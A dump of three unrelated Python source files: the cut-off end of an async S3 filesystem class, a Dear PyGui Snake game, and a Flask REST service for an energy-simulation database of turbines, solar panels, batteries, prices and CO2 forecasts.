self._s3.head_object, Bucket=bucket, Key=name) return S3HeadObjectFileStatus(resp) except botocore.exceptions.ClientError as e: if e.response['ResponseMetadata']['HTTPStatusCode'] == 404: raise FileNotFoundError(url) from e raise e async def _listfiles_recursive(self, bucket: str, name: str) -> AsyncIterator[FileListEntry]: assert not name or name.endswith('/') async for page in PageIterator(self, bucket, name): assert 'CommonPrefixes' not in page contents = page.get('Contents') if contents: for item in contents: yield S3FileListEntry(bucket, item['Key'], item) async def _listfiles_flat(self, bucket: str, name: str) -> AsyncIterator[FileListEntry]: assert not name or name.endswith('/') async for page in PageIterator(self, bucket, name, delimiter='/'): prefixes = page.get('CommonPrefixes') if prefixes is not None: for prefix in prefixes: yield S3FileListEntry(bucket, prefix['Prefix'], None) contents = page.get('Contents') if contents: for item in contents: yield S3FileListEntry(bucket, item['Key'], item) async def listfiles(self, url: str, recursive: bool = False) -> AsyncIterator[FileListEntry]: bucket, name = self._get_bucket_name(url) if name and not name.endswith('/'): name += '/' if recursive: it = self._listfiles_recursive(bucket, name) else: it = self._listfiles_flat(bucket, name) it = it.__aiter__() try: first_entry = await it.__anext__() except StopAsyncIteration: raise FileNotFoundError(url) # pylint: disable=raise-missing-from async def cons(first_entry, it): yield first_entry try: while True: yield await it.__anext__() except StopAsyncIteration: pass return cons(first_entry, it) async def staturl(self, url: str) -> str: return await self._staturl_parallel_isfile_isdir(url) async def isfile(self, url: str) -> bool: try: bucket, name = self._get_bucket_name(url) await blocking_to_async(self._thread_pool, self._s3.head_object, Bucket=bucket, Key=name) return True except botocore.exceptions.ClientError as e: if e.response['ResponseMetadata']['HTTPStatusCode'] == 404: return False raise e async def isdir(self, url: str) -> bool: try: async for _ in await self.listfiles(url, recursive=True): return True assert False # unreachable except FileNotFoundError: return False async def remove(self, url: str) -> None: try: bucket, name = self._get_bucket_name(url) await blocking_to_async(self._thread_pool, self._s3.delete_object, Bucket=bucket, Key=name) except self._s3.exceptions.NoSuchKey as e: raise FileNotFoundError(url) from e async def _rmtree(self, sema: asyncio.Semaphore, url: str) -> None: await self._rmtree_with_recursive_listfiles(sema, url) async def rmtree(self, sema: Optional[asyncio.Semaphore], url: str) -> None: if sema is None: sema = asyncio.Semaphore(50) async with sema: return await self._rmtree(sema, url) return await self._rmtree(sema, url) async def close(self) -> None: pass def copy_part_size(self, url: str) -> int: # pylint: disable=unused-argument # Because the S3 upload_part API call requires the entire part # be loaded into memory, use a smaller part size. return 32 * 1024 * 1024
snake_game.py
import dearpygui.dearpygui as dpg import threading import time import random import webbrowser from theme_settings import * dpg.setup_registries() # Registries for mouse and keyboard press events slither_data = [] # List of points and their respective direction. [[x_coordinate, y_coordinate], direction] slither_change_data = [] # List of change of directions. [[x_coordinate, y_coordinate], direction] snake_burrow = None # the plot item of the main display of the game snake = None # the polyline item which acts as the snake snake_moving_flag = 0 # flag to check if snake is moving or not snake_length_flag = 1 # Flag to check if the snake should grow or not. 1=grow 0=fixed fix_snake_length = None apple = None # Apple item in DPG apple_points = [] # Every unit coordinate of the apple rectangle. If the snake passes through any of these # coordinate, then the apple changes location snake_speed = None snake_color = [0, 255, 0] apple_color = [255, 0, 0] burrow_color = [33, 33, 33] burrow = None # Burrow (background) item in DPG score = None # Score item in DPG score_count = 0 highest_score = None # Highest score item in DPG highest_score_count = 0 def initial_slither_points(): # Function sets all the points required to draw the snake initially global slither_data, snake slither_data = [] head_point = [25, 25] tail_point = [25, 10] snake_length = head_point[1] - tail_point[1] for point in range(snake_length): slither_data.append([[head_point[0], (head_point[1] - point)], 2]) slither_data.append([tail_point, 2]) def restart_snake(): global slither_data, slither_change_data, snake, snake_moving_flag, score, score_count slither_data = [] slither_change_data = [] snake_moving_flag = 0 score_count = 0 dpg.set_value(item=score, value=score_count) initial_slither_points() place_apple() dpg.configure_item(item=snake, points=get_points_from_data(slither_data), color=dpg.get_value(item=snake_color)) def move_snakeDispatcher(): # Function creates a new thread that controls the continuous movement of the snake while the main code is listening # for any keyboard or mouse events to occur move_snake_thread = threading.Thread(name="move snake", target=move_snake, args=(), daemon=True) move_snake_thread.start() def move_snake(): global slither_data, slither_change_data, snake, snake_moving_flag, apple_points, snake_speed, snake_color, \ snake_length_flag, score, score_count, highest_score, highest_score_count snake_moving_flag = 1 while True: body_points = get_points_from_data(slither_data) body_points.pop(0) # List of all points of the snake except the head if slither_data[0][0][1] == 50 or slither_data[0][0][0] == 50 or \ slither_data[0][0][1] == 0 or slither_data[0][0][0] == 0 or \ slither_data[0][0] in body_points: # Check if the snake touches the walls or itself for i in range(2): dpg.configure_item(item=snake, color=[255, 0, 0]) time.sleep(0.15) dpg.configure_item(item=snake, color=dpg.get_value(item=snake_color)) time.sleep(0.15) dpg.configure_item(item=snake, color=[255, 0, 0, 255]) snake_moving_flag = 0 break # End Game if slither_data[0][0] in apple_points: # If the head of the snake passes through any of the apple coordinates, then the apple changes location # and the snake's tail gets longer apple_points = [] place_apple() score_count += 1 dpg.set_value(item=score, value=score_count) if score_count > highest_score_count: highest_score_count = score_count dpg.set_value(item=score, value=score_count) dpg.set_value(item=highest_score, value=highest_score_count) if snake_length_flag == 1: # Only if user wants to grow the snake add_length = 3 # Add additional 3 points to the tail tail_direction = slither_data[-1][1] # Direction the tail is moving in tail_point = slither_data[-1][0][:] if tail_direction == 1: for n in range(add_length): new_tail_point = [tail_point[0] + n + 1, tail_point[1]] slither_data.append([new_tail_point, tail_direction]) elif tail_direction == 2: for n in range(add_length): new_tail_point = [tail_point[0], tail_point[1] - 1 - n] slither_data.append([new_tail_point, tail_direction]) elif tail_direction == 3: for n in range(add_length): new_tail_point = [tail_point[0] - 1 - n, tail_point[1]] slither_data.append([new_tail_point, tail_direction]) else: for n in range(add_length): new_tail_point = [tail_point[0], tail_point[1] + 1 + n] slither_data.append([new_tail_point, tail_direction]) else: for index in range(len(slither_data)): # This loop controls the continuous motion of the snake if slither_data[index][1] == 1: # Move West. Subtract X slither_data[index][0][0] -= 1 elif slither_data[index][1] == 2: # Move North. Add Y slither_data[index][0][1] += 1 elif slither_data[index][1] == 3: # Move East. Add X slither_data[index][0][0] += 1 elif slither_data[index][1] == 4: # Move South. Subtract Y slither_data[index][0][1] -= 1 if slither_data[index][0] in get_points_from_data(slither_change_data): # If the point of the snake is found in the list of direction of changes, then get the direction # of that point gets updated slither_data[index][1] = get_direction_from_data(slither_data[index][0], slither_change_data) for index in range(len(slither_change_data)): if not slither_change_data[index][0] in get_points_from_data(slither_data): slither_change_data.pop(index) break dpg.configure_item(item=snake, points=get_points_from_data(slither_data)) time.sleep((-0.01*dpg.get_value(item=snake_speed)) + 0.13) # Sets the speed of the snake depending on the value # Corresponding time values in seconds # Equation used: speed = -0.01*(value input) + 0.13 # 0.12 = 1 # 0.11 = 2 # 0.1 = 3 # 0.09 = 4 # 0.08 = 5 # 0.07 = 6 # 0.06 = 7 # 0.05 = 8 # 0.04 = 9 # 0.03 = 10 def get_points_from_data(data): # Functions takes entire data of slither and returns only the points slither_points = [] for index in range(len(data)): slither_points.append(data[index][0]) return slither_points def get_direction_from_data(point, data): # Functions takes the entire data and extracts a particular direction for a given point for index in range(len(data)): if point == data[index][0]: return data[index][1] def place_apple(): global slither_data, apple pos_flag = 0 while True: # Keeps looping until it finds a location (all points of the rectangle) that is not on the snake x_pos = random.randint(0, 47) y_pos = random.randint(0, 47) for x in range(x_pos, x_pos+3): for y in range(y_pos, y_pos+3): if [x, y] in get_points_from_data(slither_data): pos_flag = 1 # Signal that a point was found and continue finding a random point break else: continue break if pos_flag == 1: # If a point is found inside the snake, then reset the pos_flag and continue iterating until # a new point outside the snake is found pos_flag = 0 continue if pos_flag == 0: # If pos_flag is not 1, continue placing the apple, otherwise reiterate dpg.configure_item(item=apple, pmin=[x_pos, y_pos], pmax=[x_pos+2, y_pos+2]) for x in range(x_pos, x_pos + 3): for y in range(y_pos, y_pos + 3): apple_points.append([x, y]) return def change_colors(): global snake_color, apple_color, burrow_color, snake, apple, burrow dpg.configure_item(item=snake, color=dpg.get_value(item=snake_color)) dpg.configure_item(item=apple, color=dpg.get_value(item=apple_color), fill=dpg.get_value(item=apple_color)) dpg.configure_item(item=burrow, color=dpg.get_value(item=burrow_color), fill=dpg.get_value(item=burrow_color)) def check_snake_length(): global snake_length_flag if dpg.get_value(item=fix_snake_length): snake_length_flag = 0 else: snake_length_flag = 1 def reset_stats(): global score, score_count, highest_score, highest_score_count score_count = 0 highest_score_count = 0 dpg.set_value(item=score, value=score_count) dpg.set_value(item=highest_score, value=highest_score_count) def reset_settings(): global snake, snake_color, apple, apple_color, burrow, burrow_color, snake_speed, fix_snake_length global snake_length_flag dpg.configure_item(item=snake, color=[0, 255, 0]) dpg.configure_item(item=apple, color=[255, 0, 0], fill=[255, 0, 0]) dpg.configure_item(item=burrow, color=[33, 33, 33], fill=[33, 33, 33]) dpg.configure_item(item=snake_color, default_value=[0, 255, 0]) dpg.configure_item(item=apple_color, default_value=[255, 0, 0]) dpg.configure_item(item=burrow_color, default_value=[33, 33, 33]) dpg.configure_item(item=snake_speed, default_value=5) dpg.set_value(item=fix_snake_length, value=False) snake_length_flag = 1 def open_help(): webbrowser.open("https://github.com/RahulShagri/OG-Snake-Game") def key_release_handler(sender, app_data): # Function listening to key release events. Arrow keys change snake direction and keeps a track of the point when # the key event occurs if snake_moving_flag == 0: # If snake not moving then exit return global slither_data, slither_change_data head_point = slither_data[0][0][:] head_direction = slither_data[0][1] if head_direction == 1: # West head_point[0] -= 1 if head_direction == 2: # North head_point[1] += 1 if head_direction == 3: # East head_point[0] += 1 if head_direction == 4: # South head_point[1] -= 1 if app_data == 37 or app_data == 65: # West if head_direction != 3 and head_direction != 1: snake_direction = 1 slither_change_data.append([head_point, snake_direction]) if app_data == 38 or app_data == 87: # North if head_direction != 4 and head_direction != 2: snake_direction = 2 slither_change_data.append([head_point, snake_direction]) if app_data == 39 or app_data == 68: # East if head_direction != 1 and head_direction != 3: snake_direction = 3 slither_change_data.append([head_point, snake_direction]) if app_data == 40 or app_data == 83: # South if head_direction != 2 and head_direction != 4: snake_direction = 4 slither_change_data.append([head_point, snake_direction]) def main_window_setup(): global snake, snake_burrow, apple, snake_speed, snake_color, apple_color, burrow_color, burrow global fix_snake_length, score, highest_score dpg.setup_viewport() dpg.set_viewport_title("Snake Game") dpg.configure_viewport(0, x_pos=0, y_pos=0, width=750, height=645) dpg.set_viewport_max_height(645) dpg.set_viewport_max_width(750) with dpg.window(pos=[0, 0], autosize=True, no_collapse=True, no_resize=True, no_close=True, no_move=True, no_title_bar=True) as main_window: with dpg.child(height=90, autosize_x=True): score_text = dpg.add_text(default_value=" Score : ") dpg.add_same_line() score = dpg.add_text(default_value="0") dpg.set_item_font(item=score_text, font=score_font) dpg.set_item_font(item=score, font=score_font) highest_score_text = dpg.add_text(default_value=" Highest score : ") dpg.add_same_line() highest_score = dpg.add_text(default_value="0") dpg.set_item_font(item=highest_score_text, font=score_font) dpg.set_item_font(item=highest_score, font=score_font) with dpg.group(horizontal=True): with dpg.group(): with dpg.plot(no_menus=False, no_title=True, no_box_select=True, no_mouse_pos=True, width=500, height=500, equal_aspects=True) as snake_burrow: default_x = dpg.add_plot_axis(axis=0, no_gridlines=True, no_tick_marks=True, no_tick_labels=True, label="", lock_min=True) dpg.set_axis_limits(axis=default_x, ymin=0, ymax=50) default_y = dpg.add_plot_axis(axis=1, no_gridlines=True, no_tick_marks=True, no_tick_labels=True, label="", lock_min=True) dpg.set_axis_limits(axis=default_y, ymin=0, ymax=50) burrow = dpg.draw_rectangle(pmin=[0, 0], pmax=[50, 50], color=[33, 33, 33], fill=[33, 33, 33]) snake = dpg.draw_polyline(points=get_points_from_data(slither_data), thickness=1, color=[0, 255, 0]) apple = dpg.draw_rectangle(pmin=[0, 0], pmax=[2, 2], thickness=0, color=[255, 0, 0], fill=[255, 0, 0]) with dpg.child(autosize_x=True, autosize_y=True): with dpg.group(): with dpg.child(height=340): dpg.add_dummy(height=5) settings_text = dpg.add_text(default_value=" Settings") dpg.set_item_font(item=settings_text, font=bold_font) dpg.add_dummy(height=5) dpg.add_separator() dpg.add_dummy(height=5) snake_speed = dpg.add_drag_int(label="Snake speed", width=130, clamped=True, min_value=1, max_value=10, default_value=5) dpg.add_dummy(height=15) snake_color = dpg.add_color_edit(label="Snake color", default_value=[0, 255, 0], no_alpha=True, width=130, callback=change_colors) dpg.add_dummy(height=5) apple_color = dpg.add_color_edit(label="Apple color", default_value=[255, 0, 0], no_alpha=True, width=130, callback=change_colors) dpg.add_dummy(height=5) burrow_color = dpg.add_color_edit(label="Burrow color", default_value=[33, 33, 33], no_alpha=True, width=130, callback=change_colors) dpg.add_dummy(height=15) fix_snake_length = dpg.add_checkbox(label="Fix snake length", default_value=False, callback=check_snake_length) dpg.add_dummy(height=15) dpg.add_button(label="Reset Settings", width=-1, height=30, callback=reset_settings) dpg.add_separator() dpg.add_dummy() dpg.add_button(label="Start", callback=move_snakeDispatcher, width=-1, height=30) dpg.add_button(label="Restart", callback=restart_snake, width=-1, height=30) dpg.add_button(label="Reset Stats", width=-1, height=30, callback=reset_stats) dpg.add_dummy() dpg.add_separator() dpg.add_dummy() dpg.add_button(label="Help", width=-1, height=30, callback=open_help) dpg.add_key_release_handler(callback=key_release_handler) place_apple() dpg.set_primary_window(window=main_window, value=True) dpg.start_dearpygui() initial_slither_points() main_window_setup()
frontend_service.py
from flask import Flask from flask import request from flask_cors import CORS import database.models as entityModels import database.pricesModel as pricesModels import database.co2Model as co2Model import database.gasBoilerModel as gasBoilerModel import database.optimizerModel as optimizerModel from database.databasehandler import MariaDB_handler from sqlalchemy.exc import IntegrityError from sqlalchemy import func import json from util.json_encoder import Encoder from datetime import datetime, timedelta import config import requests import threading #FLASK_APP=simulation/building_service.py flask run app = Flask(__name__) CORS(app) entityDBConfig = {"user":"myusr", "password":"myusrpass", "host":"localhost", "port":"3306", "database":"mydb"} entityDB = MariaDB_handler(**entityDBConfig) entityDB.createTables(entityModels.Base) priceDBConfig = {"user":"myusr", "password":"myusrpass", "host":"localhost", "port":"3306", "database":"mydb"} priceDB = MariaDB_handler(**priceDBConfig) priceDB.createTables(pricesModels.Base) co2DBConfig = {"user":"myusr", "password":"myusrpass", "host":"localhost", "port":"3306", "database":"mydb"} co2DB = MariaDB_handler(**co2DBConfig) co2DB.createTables(co2Model.Base) gasBoilerDBConfig = {"user":"myusr", "password":"myusrpass", "host":"localhost", "port":"3306", "database":"mydb"} gasBoilerDB = MariaDB_handler(**co2DBConfig) gasBoilerDB.createTables(co2Model.Base) simDBConfig = {"user":"myusr", "password":"myusrpass", "host":"localhost", "port":"3306", "database":"mydb"} simDB = MariaDB_handler(**simDBConfig) simDB.createTables(entityModels.Base) optimizerDBConfig = {"user":"myusr", "password":"myusrpass", "host":"localhost", "port":"3306", "database":"mydb"} optimizerDB = MariaDB_handler(**optimizerDBConfig) optimizerDB.createTables(optimizerModel.Base) @app.route('/') def index(): return 'Element Service' ################################### # functions for creating entities # ################################### @app.route('/windturbine/create', methods=['POST']) def create_windturbine(): ''' Creates the windturbine specified in the request. ''' if request.method == 'POST': if request.is_json: # check if a simulation is running if get_number_of_running_simulations() == 0: try: session = entityDB.create_session() req_data = request.get_json() windturbine = entityModels.WindTurbine(req_data['name'], req_data['lat'], req_data['long'], req_data['powerCoefficient'], req_data['radius']) entityDB.addElementToDatabase(session, windturbine) except KeyError: return 'json does not match the format', 415 except IntegrityError: return 'duplicate', 409 finally: entityDB.close_session(session) return windturbine.toJson(), 201 else: return "Simulation is running", 423 return "HTTP-Method not supported", 404 @app.route('/solarpanel/create', methods=['POST']) def create_solarpanel(): ''' Creates the solarpanel specified in the request. ''' if request.method == 'POST': if request.is_json: # check if a simulation is running if get_number_of_running_simulations() == 0: try: session = entityDB.create_session() req_data = request.get_json() solarpanal = entityModels.SolarPanel(req_data['name'], req_data['lat'], req_data['long'], req_data['powerCoefficient'], req_data['area'], req_data['angleOfModule']) entityDB.addElementToDatabase(session, solarpanal) except KeyError: return 'json does not match the format', 415 except IntegrityError: return 'duplicate', 409 finally: entityDB.close_session(session) return solarpanal.toJson(), 201 else: return "Simulation is running", 423 return "HTTP-Method not supported", 404 @app.route('/battery/create', methods=['POST']) def create_battery(): ''' Creates the battery specified in the request. ''' if request.method == 'POST': if request.is_json: # check if a simulation is running if get_number_of_running_simulations() == 0: try: session = entityDB.create_session() req_data = request.get_json() battery = entityModels.Battery(req_data['name'], req_data['lat'], req_data['long'], req_data['batteryEfficiency'], req_data['chargeUpperBound'], req_data['dischargeUpperBound'], req_data['energyUpperBound'], req_data['selfDischargingRate']) entityDB.addElementToDatabase(session, battery) except KeyError: return 'json does not match the format', 415 except IntegrityError: return 'duplicate', 409 finally: entityDB.close_session(session) return battery.toJson(), 201 else: return "Simulation is running", 423 return "HTTP-Method not supported", 404 @app.route('/building/create', methods=['POST']) def create_building(): ''' Creates the builiding specified in the request. ''' if request.method == 'POST': if request.is_json: # check if a simulation is running if get_number_of_running_simulations() == 0: try: session = entityDB.create_session() req_data = request.get_json() building = entityModels.Building(req_data['name'], req_data['lat'], req_data['long'], req_data['mathematicalModel'], req_data['historicalData']) for comp_data in req_data['components']: # create components of the building building.components.append(entityModels.Component(comp_data['name'], comp_data['est'], comp_data['let'], comp_data['e'], comp_data['lot'])) entityDB.addElementToDatabase(session, building) except KeyError: return 'json does not match the format', 415 except IntegrityError: return 'duplicate', 409 finally: entityDB.close_session(session) return building.toJson(), 201 else: return "Simulation is running", 423 return "HTTP-Method not supported", 404 ################################################# # functions for deleting entities, not finished # ################################################# def delete_entity(model, name): ''' Deletes the entity specified entity. ''' if request.method == 'DELETE': if get_number_of_running_simulations() == 0: try: session = entityDB.create_session() entity = session.query(model).filter_by(name=name).first() if entity: entityDB.deleteElementFromDatabase(session, entity) else: return "Entity not found", 404 finally: entityDB.close_session(session) return entity.toJson(), 200 else: return "Simulation is running", 423 return "HTTP-Method not supported", 404 ################################# # getter-functions for entities # ################################# @app.route('/solarpanel/getAll', methods=['GET']) def getAll_solarpanels(): return getAllJson(entityDB, entityModels.SolarPanel) @app.route('/solarpanel/get/<string:name>', methods=['GET']) def get_solarpanel(name): return getByNameJson(entityModels.SolarPanel, name) @app.route('/windturbine/getAll', methods=['GET']) def getAll_windturbines(): return getAllJson(entityDB, entityModels.WindTurbine) @app.route('/windturbine/get/<string:name>', methods=['GET']) def get_windturbine(name): return getByNameJson(entityModels.WindTurbine, name) @app.route('/battery/getAll', methods=['GET']) def getAll_batteries(): return getAllJson(entityDB, entityModels.Battery) @app.route('/battery/get/<string:name>', methods=['GET']) def get_battery(name): return getByNameJson(entityModels.Battery, name) @app.route('/building/getAll', methods=['GET']) def getAll_buildings(): return getAllJson(entityDB, entityModels.Building) @app.route('/building/get/<string:name>', methods=['GET']) def get_building(name): return getByNameJson(entityModels.Building, name) ############################### # getter-functions for prices # ############################### @app.route('/price/getAll', methods=['GET']) def getAll_prices(): """ Returns all prices. """ return getAllJson(priceDB, pricesModels.PriceForecast) @app.route('/price/getRange/<string:start>/<string:end>', methods=['GET']) def getPriceByRange(start, end): """ Returns all prices which in the given time range. """ if request.method == 'GET': try: session = priceDB.create_session() start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") end_date = datetime.strptime(end, "%Y-%m-%dT%H:%M:%S") prices = session.query(pricesModels.PriceForecast).filter(pricesModels.PriceForecast.timestamp>=start_date, pricesModels.PriceForecast.timestamp<=end_date).all() priceDict = [price.toDict() for price in prices] return json.dumps(priceDict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: priceDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/price/getRange/<string:start>', methods=['GET']) def getPriceByRangeStart(start): """ Returns all prices which are after the given start date. """ if request.method == 'GET': try: session = priceDB.create_session() start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") prices = session.query(pricesModels.PriceForecast).filter(pricesModels.PriceForecast.timestamp>=start_date).all() priceDict = [price.toDict() for price in prices] return json.dumps(priceDict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: priceDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/price/get/<string:date>', methods=['GET']) def get_price(date): """ Returns the prices for given timestamp day. """ if request.method == 'GET': try: session = priceDB.create_session() date_date = datetime.strptime(date, "%Y-%m-%dT%H:%M:%S") price = session.query(pricesModels.PriceForecast).filter_by(timestamp=date_date).first() return price.toJson(), 200 except Exception as e: return str(e), 500 finally: priceDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/price/getlatest', methods=['GET']) def get_price_latest(): """ Returns the prices for the most recent day. """ if request.method == 'GET': try: session = priceDB.create_session() date = session.query(func.max(pricesModels.PriceForecast.timestamp)).first() if date == None: return "No data", 404 prices = session.query(pricesModels.PriceForecast).filter(pricesModels.PriceForecast.timestamp>(date[0] - timedelta(days=1))).all() if prices: priceDict = [price.toDict() for price in prices] return json.dumps(priceDict, cls=Encoder), 200 else: return 'No prices', 404 except Exception as e: return str(e), 500 finally: priceDB.close_session(session) return "HTTP-Method not supported", 404 ############################################## # getter-functions for co2 emission forecast # ############################################## @app.route('/co2/getAll', methods=['GET']) def getAll_co2Values(): """ Returns all co2 emission values. """ return getAllJson(co2DB, co2Model.Co2ForecastProxy) @app.route('/co2/getRange/<string:start>/<string:end>', methods=['GET']) def getCo2ByRange(start, end): """ Returns all Co2 emission values which are in the given time range. """ if request.method == 'GET': try: session = co2DB.create_session() start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") end_date = datetime.strptime(end, "%Y-%m-%dT%H:%M:%S") co2Values = session.query(co2Model.Co2ForecastProxy).filter(co2Model.Co2ForecastProxy.timestamp>=start_date, co2Model.Co2ForecastProxy.timestamp<=end_date).all() co2Dict = [co2Value.toDict() for co2Value in co2Values] return json.dumps(co2Dict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: co2DB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/co2/getRange/<string:start>', methods=['GET']) def getCo2ByRangeStart(start): """ Returns all Co2 emission values which are after the given start date. """ if request.method == 'GET': try: session = co2DB.create_session() start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") co2Values = session.query(co2Model.Co2ForecastProxy).filter(co2Model.Co2ForecastProxy.timestamp>=start_date).all() co2Dict = [co2Value.toDict() for co2Value in co2Values] return json.dumps(co2Dict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: co2DB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/co2/get/<string:date>', methods=['GET']) def get_co2(date): """ Returns the Co2 emission values for given timestamp day. """ if request.method == 'GET': try: session = co2DB.create_session() date_date = datetime.strptime(date, "%Y-%m-%dT%H:%M:%S") co2Value = session.query(co2Model.Co2ForecastProxy).filter_by(timestamp=date_date).first() return co2Value.toJson(), 200 except Exception as e: return str(e), 500 finally: co2DB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/co2/getlatest', methods=['GET']) def get_co2_latest(): """ Returns the co2 values for the most recent day. """ if request.method == 'GET': try: session = co2DB.create_session() date = datetime.now().replace(hour=0, minute=0) if date == None: return "No data", 404 co2Values = session.query(co2Model.Co2ForecastProxy).filter(co2Model.Co2ForecastProxy.timestamp >= date).all() if co2Values: co2Dict = [co2Value.toDict() for co2Value in co2Values] return json.dumps(co2Dict, cls=Encoder), 200 else: return 'No Co2 values', 404 except Exception as e: return str(e), 500 finally: co2DB.close_session(session) return "HTTP-Method not supported", 404 ############################################## # getter-functions for gas boiler data # ############################################## @app.route('/gasBoiler/getAll/<string:buildingName>', methods=['GET']) def getAll_gasBoilerData(buildingName): """ Returns all gas boiler data available in database for a given building name. """ return getAllJson(gasBoilerDB, gasBoilerModel.GasBoiler) @app.route('/gasBoiler/getRange/<string:buildingName>/<string:start>/<string:end>', methods=['GET']) def getGasBoilerDataByRange(buildingName, start, end): """ Returns all gas boiler data which are in the given time range for a given building name. """ if request.method == 'GET': try: session = gasBoilerDB.create_session() start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") end_date = datetime.strptime(end, "%Y-%m-%dT%H:%M:%S") gasBoilerValues = session.query(gasBoilerModel.GasBoiler).filter(gasBoilerModel.GasBoiler.timestamp>=start_date, \ gasBoilerModel.GasBoiler.timestamp<=end_date, gasBoilerModel.GasBoiler.buildingName==buildingName).all() gasBoilerDict = [gasBoilerValue.toDict() for gasBoilerValue in gasBoilerValues] return json.dumps(gasBoilerDict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: gasBoilerDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/gasBoiler/getRange/<string:buildingName>/<string:start>', methods=['GET']) def getGasBoilerDataByRangeStart(buildingName, start): """ Returns all gas boiler data which are after the given start date for a given building name. """ if request.method == 'GET': try: session = gasBoilerDB.create_session() start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") gasBoilerValues = session.query(gasBoilerModel.GasBoiler).filter(gasBoilerModel.GasBoiler.timestamp>=start_date,\ gasBoilerModel.GasBoiler.buildingName==buildingName).all() gasBoilerDict = [gasBoilerValue.toDict() for gasBoilerValue in gasBoilerValues] return json.dumps(gasBoilerDict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: gasBoilerDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/gasBoiler/get/<string:buildingName>/<string:date>', methods=['GET']) def get_gasBoilerData(buildingName, date): """ Returns the gas boiler data for given timestamp day. """ if request.method == 'GET': try: session = gasBoilerDB.create_session() date_date = datetime.strptime(date, "%Y-%m-%dT%H:%M:%S") gasBoilerValue = session.query(gasBoilerModel.GasBoiler).filter(gasBoilerModel.GasBoiler.timestamp==date_date,\ gasBoilerModel.GasBoiler.buildingName==buildingName).first() return gasBoilerValue.toJson(), 200 except Exception as e: return str(e), 500 finally: gasBoilerDB.close_session(session) return "HTTP-Method not supported", 404 @app.route('/gasBoiler/getlatest/<string:buildingName>', methods=['GET']) def get_gasBoilerData_latest(buildingName): """ Returns the gas boiler data for the most recent day. """ if request.method == 'GET': try: session = gasBoilerDB.create_session() date = datetime.now().replace(hour=0, minute=0) if date == None: return "No data", 404 gasBoilerValues= session.query(gasBoilerModel.GasBoiler).filter(gasBoilerModel.GasBoiler.timestamp >= date\ , gasBoilerModel.GasBoiler.buildingName==buildingName).all() if gasBoilerValues: gasBoilerDict = [gasBoilerValue.toDict() for gasBoilerValue in gasBoilerValues] return json.dumps(gasBoilerDict, cls=Encoder), 200 else: return 'No gas boiler data', 404 except Exception as e: return str(e), 500 finally: gasBoilerDB.close_session(session) return "HTTP-Method not supported", 404 ############################################# # getter-functions for simulation forecasts # ############################################# @app.route('/forecast/wind/get/<string:name>/', methods=['GET']) def get_wind_sim_forecast(name): date = datetime.now() return get_wind_sim_forecast_date(name, date) @app.route('/forecast/wind/get/<string:name>/<string:start>', methods=['GET']) def get_wind_sim_forecast_date(name, start): return get_sim_forecast_date(entityModels.SimulationForecastWindTurbine, name, start) @app.route('/forecast/wind/getAll/', methods=['GET']) def get_wind_sim_forecast_all(): date = datetime.now() return get_wind_sim_forecast_all_date(date) @app.route('/forecast/wind/getAll/<string:start>', methods=['GET']) def get_wind_sim_forecast_all_date(start): return get_sim_forecast_all_date(entityModels.SimulationForecastWindTurbine, start) @app.route('/forecast/solar/get/<string:name>/', methods=['GET']) def get_solar_sim_forecast(name): date = datetime.now() return get_solar_sim_forecast_date(name, date) @app.route('/forecast/solar/get/<string:name>/<string:start>', methods=['GET']) def get_solar_sim_forecast_date(name, start): return get_sim_forecast_date(entityModels.SimulationForecastSolarPanel, name, start) @app.route('/forecast/solar/getAll/', methods=['GET']) def get_solar_sim_forecast_all(): date = datetime.now() return get_solar_sim_forecast_all_date(date) @app.route('/forecast/solar/getAll/<string:start>', methods=['GET']) def get_solar_sim_forecast_all_date(start): return get_sim_forecast_all_date(entityModels.SimulationForecastSolarPanel, start) def get_sim_forecast_date(obj, name, start): ''' Answers a http request for simulation forecast data of a generator specified by the object type and name. All simulation forecast data after the specified start date is taken into account. ''' if request.method == 'GET': try: if isinstance(start, str): start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") else: start_date = start session = simDB.create_session() if obj == entityModels.SimulationForecastWindTurbine: sim_data = session.query(obj).filter( obj.windturbine_name == name, obj.timestamp>=start_date).all() elif obj==entityModels.SimulationForecastSolarPanel: sim_data = session.query(obj).filter( obj.solarpanel_name == name, obj.timestamp>=start_date).all() sim_data_dict = [data.toDict() for data in sim_data] return json.dumps(sim_data_dict, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: simDB.close_session(session) return "HTTP-Method not supported", 404 def get_sim_forecast_all_date(obj, start): ''' Answers a http request for simulation forecast data of all generator specified by the object type. All simulation forecast data after the specified start date is taken into account. ''' if request.method == 'GET': try: if isinstance(start, str): start_date = datetime.strptime(start, "%Y-%m-%dT%H:%M:%S") else: start_date = start session = simDB.create_session() sim_data = session.query(obj).filter( obj.timestamp>=start_date).all() elementsDict = [element.toDict() for element in sim_data] return json.dumps(elementsDict, cls=Encoder), 200 # summed_data ={} # for data in sim_data: # if data.timestamp in summed_data: # summed_data[data.timestamp] += data.supply # else: # summed_data[data.timestamp] = data.supply # response = [] # for timestamp, supply in summed_data.items(): # response.append({"timestamp":timestamp, "supply":supply}) # return json.dumps(response, cls=Encoder), 200 except Exception as e: return str(e), 500 finally: simDB.close_session(session) return "HTTP-Method not supported", 404 ######################################## # getter-functions for simulation data # ######################################## @app.route('/total/current_sim_latest', methods=['GET']) def get_total_current_simulation_latest(): return current_simulation_latest(entityModels.SimulationTotalEnergy) @app.route('/battery/current_sim_latest', methods=['GET']) def get_battery_current_simulation_latest(): return current_simulation_latest(entityModels.SimulationBattery) 